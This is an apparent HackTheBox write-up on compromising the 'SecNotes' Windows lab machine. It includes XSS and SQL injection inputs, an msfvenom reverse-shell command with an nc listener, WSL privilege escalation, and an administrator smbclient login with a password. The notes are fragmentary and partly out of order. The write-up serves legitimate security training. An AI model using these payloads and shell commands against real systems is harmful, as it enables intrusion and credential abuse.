Hackthebox - SecNotes
Last updated
Last updated
Windows
So we keep it aside tyler@secnotes.htb
we can also edit our /etc/hosts
file and add 10.10.10.97 secnotes.htb
in it
No sqli in the login
So we need to investigate the username parameter and see if it might be vulnerable to sqli
We even get a user and password: tyler / 92g!mA8BGjOirkL%OG*&
along with what looks like an smb folder so definetely worth trying to connect there \\secnotes.htb\new-site
We get to a share that hosts the default files of the webserver on port 8808. We have write rights (you can see above that I was able to download a test file) so we could use and aspx reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=5555 -f aspx > shell.aspx
We put it on the share put shell.aspx
We launch on listener rlwrap nc -lvp 5555
We browse to our reverse shell from the website - does not work :$ - our file are deleted
Let's try to put /usr/share/windows-resources/binaries/nc.exe
in it
We can then make a php file that will launch nc and connect it to our machine so that we get a reverse shell:
We can then grab the user flag
In the desktop of tyler there is a bash.lnk. We could use this from payload all the things to privesc
Let's see if we have a bash.exe file somewhere
Now let's find wsl.exe
Let's see if we are root with wsl:
We are root
if we type history we have an instresting output
We have the password for the admin por smbclient
There is a website in which we can register
There is also a message disclosing an email address
Let's try on the register if we register a user with username <script>alert(1)</script>
when we login with it after we have a stored xss:
Let's try with this ' or 1=1; --
we get an internal server error when trying to login with this after but if we register with 'OR 1 OR'
it actually works and we get all the tickets
We can then browse to the page, and we get a shell
Let's launch the bash to get the shell Let's spawn a tty shell
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
And it works! We can actually connect as administrator to an smb share we just need to grab the flag